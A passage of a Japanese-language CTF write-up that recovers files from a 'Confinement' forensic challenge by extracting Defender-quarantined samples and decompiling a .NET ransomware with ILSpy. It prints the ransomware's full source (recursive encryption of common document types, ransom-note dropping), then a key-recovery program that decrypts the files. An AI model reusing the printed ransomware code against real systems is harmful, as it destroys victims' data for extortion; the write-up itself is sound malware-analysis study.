        M4tj[KRYr] = FPIW;
        wXgO += String.fromCharCode(AIsp[y] ^ M4tj[(M4tj[i] + M4tj[KRYr]) % 256]);
    }
    return wXgO;
}

ざっとコードを読んでいくと、外部に情報を送出する際の Cookie に Base64 エンコードされた Flag が埋め込まれていることに気づきました。

image-20240311210707989

これをデコードすることで正しい Flag を取得できました。

Confinement(Forensic)

“Our clan’s network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray. Note: The valuable data is stored under \Documents\Work”

問題バイナリとして ad1 ファイルが与えられるので、FTK Imager で展開します。

展開されたファイルの中には、ランサムノートと暗号化された機密情報ファイルが含まれていることがわかります。

image-20240315234508326

以下は、ランサムノートをブラウザで開いた画面です。

image-20240315234653822

暗号化された機密情報ファイルを復元するためにはランサムウェアの検体が必要そうですが、FTK Imager で展開したファイルからはそれらしいものを見つけることができませんでした。

そこで、イメージファイルからイベントログを抽出して Hayabusa で解析を行いました。

Hayabusa の sigma ルールはデフォルトのものを使用します。

.\hayabusa-2.5.1-win-x64.exe csv-timeline -d "C:\Users\kash1064\Downloads\Logs" -o result.csv

抽出した情報から Critical と High のイベントのみフィルタしてみると、いくつかの不審なファイルが Defender に検知された後、Defender の保護を無効化するイベントが記録されていることがわかります。

image-20240315235546616

恐らくここでランサムウェアが一度検出された後、Defender を無効化してから再実行している可能性が高そうです。

ここで検出されたファイルは Defender に隔離されているはずなので、FTK Imager で Defender の Quarantine フォルダを抽出し、端末の Quarantine フォルダと差し替えた上で以下のコマンドを実行して検体を復元しました。

cd "C:\Program Files\Windows Defender"
MpCmdRun.exe -resetplatform
MpCmdRun.exe -Restore -All -Path C:\Users\Public\Documents

ここで復元した 4 つの検体を表層解析した結果、intel.exe というファイルがランサムウェアに合致していそうなことがわかります。

image-20240316000805456

このファイルをBinaryNinja で開くと、エントリポイントで _CorExeMain がロードされており、上手く解析できませんでした。

image-20240316001225811

このバイナリは .Net プログラムだと思われることがわかるので、ILSpy で解析を行います。

Main 部分のコードは以下の通りでした。

実際の暗号化処理自体は Enc(Environment.CurrentDirectory); で実施していそうです。

Enc 関数を見てみると、coreEncrypter.EncryptFile(text) でファイルの暗号化を実施しているようです。

// Encrypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Encrypter.Program
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using Encrypter.Class;

internal class Program
{
	private static string email1;

	private static string email2;

	public static readonly string alertName;

	private static string salt;

	private static string email;

	private static string softwareName;

	private static CoreEncrypter coreEncrypter;

	private static string UID;

	private static void Main(string[] args)
	{
		Utility utility = new Utility();
		PasswordHasher passwordHasher = new PasswordHasher();
		if (Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
		{
			UID = utility.GenerateUserID();
			utility.Write("\nUserID = " + UID, ConsoleColor.Cyan);
			Alert alert = new Alert(UID, email1, email2);
			email = string.Concat(new string[4] { email1, " And ", email2, " (send both)" });
			coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(UID, salt), alert.ValidateAlert(), alertName, email);
			utility.Write("\nStart ...", ConsoleColor.Red);
			Enc(Environment.CurrentDirectory);
			Console.ReadKey();
		}
	}

	private static List<string> Enc(string sDir)
	{
		List<string> list = new List<string>();
		string[] files = Directory.GetFiles(sDir);
		foreach (string text in files)
		{
			try
			{
				string extension = Path.GetExtension(text);
				if (!text.Contains(".korp") && !text.Contains(".hta") && !text.Contains("ID.sc") && !text.Contains("desktop.ini") && !text.Contains(softwareName))
				{
					switch (extension)
					{
					case ".txt":
					case ".doc":
					case ".docx":
					case ".xls":
					case ".xlsx":
					case ".ppt":
					case ".pptx":
					case ".odt":
					case ".jpg":
					case ".png":
					case ".csv":
					case ".sql":
					case ".mdb":
					case ".sln":
					case ".php":
					case ".pdf":
					case ".aspx":
					case ".html":
					case ".xml":
					case ".psd":
					case ".jpeg":
						Console.ForegroundColor = ConsoleColor.Green;
						Console.WriteLine(text);
						Console.ForegroundColor = ConsoleColor.Green;
						coreEncrypter.EncryptFile(text);
						break;
					}
				}
			}
			catch (Exception)
			{
			}
		}
		files = Directory.GetDirectories(sDir);
		foreach (string sDir2 in files)
		{
			try
			{
				list.AddRange(Enc(sDir2));
			}
			catch (Exception)
			{
			}
		}
		return list;
	}

	static Program()
	{
		email1 = "fraycrypter@korp.com";
		email2 = "fraydecryptsp@korp.com";
		alertName = "ULTIMATUM";
		salt = "0f5264038205edfb1ac05fbb0e8c5e94";
		softwareName = "Encrypter";
		coreEncrypter = null;
		UID = null;
	}
}

CoreEncrypter クラスは以下で実装されていました。

このコードを見るとわかる通り、実際の暗号化処理はかなりシンプルなことがわかります。

// Encrypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Encrypter.Class.CoreEncrypter
using System;
using System.IO;
using System.Security.Cryptography;

public class CoreEncrypter
{
	public string password { get; set; }

	public string alert { get; set; }

	public string alertName { get; set; }

	public string email { get; set; }

	public CoreEncrypter(string password, string alert, string alertName, string email)
	{
		this.password = password;
		this.alert = alert;
		this.alertName = alertName;
		this.email = email;
	}

	public void EncryptFile(string file)
	{
		byte[] array = new byte[65535];
		byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
		RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
		rijndaelManaged.Mode = CipherMode.CBC;
		rijndaelManaged.Padding = PaddingMode.ISO10126;
		rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
		FileStream fileStream = null;
		try
		{
			if (!File.Exists(Directory.GetDirectoryRoot(file) + "\\" + alertName + ".hta"))
			{
				File.WriteAllText(Path.GetDirectoryName(file) + "\\" + alertName + ".hta", alert);
			}
			File.WriteAllText(Path.GetDirectoryName(file) + "\\" + alertName + ".hta", alert);
		}
		catch (Exception ex)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
		try
		{
			fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
		}
		catch (Exception ex2)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex2.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
		if (fileStream.Length < 1000000)
		{
			string path = null;
			FileStream fileStream2 = null;
			CryptoStream cryptoStream = null;
			try
			{
				path = file + ".korp";
				fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
				cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
			}
			catch (Exception ex3)
			{
				Console.ForegroundColor = ConsoleColor.Red;
				Console.WriteLine(ex3.Message);
				Console.ForegroundColor = ConsoleColor.Red;
			}
			try
			{
				int num;
				do
				{
					num = fileStream.Read(array, 0, array.Length);
					if (num != 0)
					{
						cryptoStream.Write(array, 0, num);
					}
				}
				while (num != 0);
				fileStream.Close();
				cryptoStream.Close();
				fileStream2.Close();
			}
			catch (Exception ex4)
			{
				Console.ForegroundColor = ConsoleColor.Red;
				Console.WriteLine(ex4.Message);
				Console.ForegroundColor = ConsoleColor.Red;
			}
			try
			{
				File.Delete(file);
				return;
			}
			catch (Exception)
			{
				File.Delete(path);
				return;
			}
		}
		string destFileName = file + ".korp";
		try
		{
			long position = fileStream.Position;
			int num2 = fileStream.ReadByte() ^ 0xFF;
			fileStream.Seek(position, SeekOrigin.Begin);
			fileStream.WriteByte((byte)num2);
			fileStream.Close();
			File.Move(file, destFileName);
		}
		catch (Exception ex6)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex6.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
	}
}

CoreEncrypter では引数として受け取った password を使用して EncryptFile を実行しています。

Main 関数を読むとわかる通り、今回の password は PasswordHasher.GetHashCode に UID と salt を与えることで取得した値です。

PasswordHasher では以下の通り、引数として受け取った password と salt からハッシュ値を生成します。

internal class PasswordHasher
{
	public string GetSalt()
	{
		return Guid.NewGuid().ToString("N");
	}

	public string Hasher(string password)
	{
		using SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
		byte[] bytes = Encoding.UTF8.GetBytes(password);
		return Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
	}

	public string GetHashCode(string password, string salt)
	{
		string password2 = password + salt;
		return Hasher(password2);
	}

	public bool CheckPassword(string password, string salt, string hashedpass)
	{
		return GetHashCode(password, salt) == hashedpass;
	}
}

この時引数として与えられる salt はプログラムにハードコードされています。

また、UID については GenerateUserID は以下の通り実装されており、ランダムな値を元にして password を生成しているようです。

public string GenerateUserID()
{
    Random random = new Random();
    string[] array = new string[26]
    {
        "A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
        "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
        "U", "V", "W", "X", "Y", "Z"
    };
    string[] array2 = new string[10] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
    string text = null;
    for (int i = 1; i < 15; i++)
    {
        text = ((i % 2 != 0) ? (text + array2[random.Next(0, array2.Length)]) : (text + array[random.Next(0, array.Length)]));
    }
    return text;
}

そこで、パスワードを特定するため、他にどこで UID が使用されているかを調べます。

その結果 Alert(UID, email1, email2); の引数として UID が使われていることがわかりました。

つまりこれは、ランサムノートに埋め込まれていた 5K7X7E6X7V2D6F に該当することがわかります。

以上の確認結果を含め、以下のコードで暗号化ファイルの復号に必要なキーと IV を取得しました。

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        byte[] array = new byte[65535];
        byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
        string w = "0f5264038205edfb1ac05fbb0e8c5e94";
        string password = "5K7X7E6X7V2D6F" + w;

        SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
        byte[] bytes = Encoding.UTF8.GetBytes(password);
        string hash = Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
                
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(hash, salt, 4953);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
        rijndaelManaged.Mode = CipherMode.CBC;
        rijndaelManaged.Padding = PaddingMode.ISO10126;
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);

        Console.WriteLine(rijndaelManaged.Padding);
    }
}

ここで取得した値を使用することで、暗号化ファイルの AES 復号に成功します。

image-20240316100317889

ここで復号したファイルを展開したところ、正しい Flag を取得することができました。

image-20240316100405609

まとめ

今年も良問多くて楽しかったです。

他の問題も解いていきたい。